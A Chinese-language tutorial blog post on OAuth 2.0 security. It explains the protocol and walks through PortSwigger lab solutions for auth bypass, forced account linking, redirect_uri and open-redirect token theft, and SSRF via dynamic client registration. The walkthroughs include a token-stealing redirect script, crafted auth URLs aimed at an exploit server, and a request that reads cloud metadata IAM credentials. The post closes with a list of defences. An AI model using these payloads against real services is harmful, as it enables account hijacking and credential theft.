OAuth2-0協議安全學習 - 網安 - 專業的網絡安全產業、社區、知識平臺

有一個問題困擾了很久很久，翻來覆去無法入眠，那就是OAuth2.0有什么安全問題啊

OAuth2.0是一種常用的授權框架，它使網站和 Web 應用程序能夠請求對另一個應用程序上的用戶帳戶進行有限訪問，在全世界都有廣泛運用

OAuth2.0簡介

OAuth2.0是什么

OAuth2.0是授權的工業標準協議，該協議允許第三方應用程序對于服務的有限訪問，例如常見的第三方登錄就基于此協議

OAuth2.0應用情景

OAuth2.0常被應用于以下情景

?應用于第三方應用登錄，將受保護的用戶資源授權給第三方信任用戶，從而避免二次登錄造成泄密

?應用于多服務場景中，用于服務的統一登陸認證，對內部系統之間的資源請求進行權限管理

?應用于開發平臺場景中，對系統敏感資源進行安全認證和保護

密碼與OAuth2.0

?密碼與令牌（token）的作用是一樣的，但令牌有其特點

–用戶無法自己修改

–且一般來說token是短期的

–可以被所有者撤銷

–token的權限一般是有限制的，而對于密碼而言，其權限一般是完整權限

?基于以上設計，OAuth2.0協議即可保證可以使得第三方應用獲得權限使用，但又隨時處于可控，這就是OAuth2.0的優點所在

OAuth2.0運行流程和授權模式

首先了解一下大概結構

Client: 第三方應用

Resource Owner: 資源所有者

Authorization Server: 授權服務器

Resource Server: 擁有資源信息的服務器

以下即為運行過程

OAuth的授權模式有四種

?授權碼模式|authorization code

?簡化模式|implicit

?密碼模式|resource owner password credentials

?客戶端模式|client credentials

在請求中一般存在response_type一類的參數，根據授權模式的不同，參數內容也會不同，這就是我們判斷不同授權模式的重要依據

詳情可見

https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

四種授權模式，安全問題大多在authorization code模式和implicit模式發生，我們也可以對此著重了解

OAuth2.0安全問題分析

為什么出現問題

OAuth2.0的授權認證流程大部分情況下是沒有問題的，但他缺少內置的安全功能，認證是否安全幾乎完全取決于使用者的正確配置，例如是否對token進行數據綁定、是否對數據本身進行加密等，而且不同的授權方法有不同的1特點，而根據授權類型，即使是高度敏感的數據都會被通過瀏覽器發送，給了攻擊者各種攔截數據的機會

怎么判斷是否使用OAuth2.0認證方法

主要可以通過兩點判斷

?對數據進行抓包，基本所有的認證請求都是自/authorization開始，并且攜帶了類似于Client_id、redirect_uri等標志參數

?是否可以使用第三方應用進行登錄，如若可以，基都是采取OAuth2.0認證

授權服務器認證繞過

當我們完成登錄獲取第三方資源時，是通過一個用戶郵箱、ID進行識別，但如果第三方資源授權沒有對此進行合理的認證，就有可能繞過授權服務器認證

?靶場

Lab: Authentication bypass via OAuth implicit flow

?解法

進行抓包，查看數據包的交互流程，在/authorization看到有郵箱、ID返回認證

可以嘗試修改email和username

Forward發送，發現token并沒有進行內容綁定，成功login

CSRF關聯賬號

造成這個安全問題的主要原因是對OAuth組件的配置錯誤，比如state參數

這個參數可以類比于CSRF令牌token，一般是作為與會話信息相關聯的一個hash值，作為客戶端與服務端之間通信的token令牌，而當配置出現問題，攻擊者就可以將受害者第三方登錄信息綁定到自己的賬號實現CSRF

?靶場

Lab: Forced OAuth profile linking

?解法

我們先正常登錄

點擊綁定social profile，對social media認證頁面進行抓包，得到令牌code

我們可以先直接帶上訪問一下試試

這是因為我們還沒有實現綁定登錄，我們現在要做的就是讓管理員登錄時帶上的是我們的code，這樣我們就可以成功劫持管理員賬號

我們重新抓取一個包拿到code，得到code后drop掉不讓他成功登錄認證

然后進入exploit修改body

發送給受害者，而后重新登錄social media

成功登錄admin

刪掉carlos用戶即可

CSRF獲取敏感信息

我們正常登錄認證后需要從認證頁面重定向回到原本的頁面，這里起到作用的就是redirect_uri參數，這是一個很合理的設計，但如果redirect_uri重定向回來的是其他地方，比如我們的攻擊服務器，那么我們是不是可以竊取到一些敏感信息，例如我們上一道題登錄admin用到的code

與上一題不同的點在于，前者是攻擊者生成了token讓admin綁定，這里是讓admin生成token攻擊者拿到去進行綁定

?靶場

Lab: OAuth account hijacking via redirect_uri

?解法

我們抓包可以看到很多個參數，返回的response有個重定向回到原本的登陸頁面

我們可以先簡單測試一下，把redirect_uri參數換成我們的攻擊服務

訪問抓包

callback

可以看到host變成了我們的攻擊服務器，這就是問題所在

我們進入exploit修改body

修改redirect_uri重定向回我們的exploit，store存儲一下，然后view exploit預覽一下

確認可以后發送給受害者，然后查看log，可以看到就能竊取到code

然后根據包的發送流程，將code進行修改callback回去

 https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do

成功登錄admin，刪除用戶就行

通過開放重定向獲取敏感信息

與上一道類似，但是這里加入了對重定向redirect_uri參數的檢測，限制url為client app，這時候可以通過在client app中尋找open redirect漏洞，再搭配CSRF得到code實現越權

?靶場

Lab: Stealing OAuth access tokens via an open redirect

?解法

抓包然后查找apikey，發現在/me路徑，放入repeater

測試redirect_uri，發現是以白名單進行驗證，無法以外域作為重定向提供，同時發現存在目錄遍歷漏洞

進行尋找漏洞利用點，發現每個blog下方均有一個post點，易受目錄遍歷，選擇進行測試

抓包放入repeater中測試，發現可以重定向到外域，這樣我們就可以利用1這個重定向到我們的攻擊服務器，進行敏感數據的竊取

我們修改url重定向回exploit

 https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email

進行訪問，成功返回hello，world

這樣我們就可以編寫script，讓admin登錄從而泄露token

  if (!document.location.hash) {        window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'    } else {        window.location = '/?'+document.location.hash.substr(1)

發送給受害者后進入access log，得到access_token

將access_token替換到/me路徑的Authorization: Bearer標頭中的token

發送即可得到apikey，提交即可

危險傳遞、使用某些特定數據

當OAuth存在專用注冊端點來運行客戶端自行注冊，而OAuth服務又以一種不安全的方式來傳遞、使用某些特定于客戶端的數據，就可能存在SSRF漏洞，出現密鑰的泄露

?靶場

Lab: SSRF via OpenID dynamic client registration

?解法

首先我們需要了解的是在OAuth服務開發中，存在這樣一類文件

 /.well-known/openid-configuration（類似的url還有/.well-known/oauth-authorization-server和/.well-known/jwks.json

他們存儲著一些相關的配置

我們嘗試訪問

https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration

可以發現/reg是注冊點，我們可以在repeater中創建一個post請求向OAuth請求注冊，而這其中必須提供至少一個redirect_uris數組

傳參后我們可以看到服務器給我們返回了client_id和一系列數據

我們繼續翻看配置參數，其中最有可能存在SSRF的url參數就是logo_uri

我們可以進行嘗試，啟動Burp Collaborator client

 POST /reg HTTP/1.1Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.netContent-Type: application/json
{    "redirect_uris" : [        "https://example.com"    ],    "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN"}

發現可以成功攜帶數據

當我們拿著生成的client_id去訪問的時候我們也可以發現確實會攜帶出一些特殊數據

/client/CLIENT-ID/logo

那當我們修改logo_uri為其他url時，我們就可以攜帶出我們想要的東西了，而題目已經給出了攻擊服務器的url，我們替換一下

 POST /reg HTTP/1.1Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.netContent-Type: application/json
{    "redirect_uris" : [        "https://example.com"    ],    "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"}

得到key

防御總結

?使用白名單檢驗redirect_url參數

?檢驗state參數是否存在

?ccess token和client_id是否匹配，同時驗證access token的訪問范圍

?修復client端的開放重定向漏洞，防止auth code的泄露

參考文章

?https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

?https://kuron3k0.github.io/2021/01/12/oauth-security/